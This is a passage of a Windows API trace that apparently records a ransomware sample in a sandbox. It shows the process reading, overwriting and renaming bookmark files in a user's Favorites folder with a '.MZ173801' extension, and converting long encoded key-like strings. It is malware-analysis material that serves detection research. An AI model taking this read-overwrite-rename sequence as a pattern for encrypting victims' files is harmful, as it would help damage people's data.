lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0144.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0144.236] GetCurrentThreadId () returned 0x9fc [0144.236] GetCurrentThreadId () returned 0x9fc [0144.236] GetCurrentThreadId () returned 0x9fc [0144.236] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.236] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0144.236] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0144.236] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x85 [0144.236] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0144.237] ReadFile (in: hFile=0x224, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f6c4*=0x85, lpOverlapped=0x0) returned 1 [0144.237] CloseHandle (hObject=0x224) returned 1 [0144.237] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.238] WriteFile (in: hFile=0x224, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f6d0*=0x85, lpOverlapped=0x0) returned 1 [0144.239] CloseHandle (hObject=0x224) returned 1 [0144.239] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url.mz173801")) returned 1 [0144.240] GetCurrentThreadId () returned 0x9fc [0144.240] GetCurrentThreadId () returned 0x9fc [0144.240] GetCurrentThreadId () returned 0x9fc [0144.240] GetCurrentThreadId () returned 0x9fc [0144.240] GetCurrentThreadId () returned 0x9fc [0144.240] GetCurrentThreadId () returned 0x9fc [0144.240] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1 [0144.240] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.240] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.240] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0144.242] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.244] GetCurrentThreadId () returned 0x9fc [0144.244] GetCurrentThreadId () returned 0x9fc [0144.244] GetCurrentThreadId () returned 0x9fc [0144.244] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0144.244] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0144.245] GetCurrentThreadId () returned 0x9fc [0144.245] GetCurrentThreadId () returned 0x9fc [0144.245] GetCurrentThreadId () returned 0x9fc [0144.245] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.245] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0144.245] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0144.245] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x85 [0144.245] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0144.245] ReadFile (in: hFile=0x224, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f6c4*=0x85, lpOverlapped=0x0) returned 1 [0144.246] CloseHandle (hObject=0x224) returned 1 [0144.246] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.248] WriteFile (in: hFile=0x224, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f6d0*=0x85, lpOverlapped=0x0) returned 1 [0144.249] CloseHandle (hObject=0x224) returned 1 [0144.249] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url.mz173801")) returned 1 [0144.250] GetCurrentThreadId () returned 0x9fc [0144.250] GetCurrentThreadId () returned 0x9fc [0144.250] GetCurrentThreadId () returned 0x9fc [0144.250] GetCurrentThreadId () returned 0x9fc [0144.250] GetCurrentThreadId () returned 0x9fc [0144.250] GetCurrentThreadId () returned 0x9fc [0144.250] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="MSN.url", cAlternateFileName="")) returned 1 [0144.250] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.250] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.250] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0144.252] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, 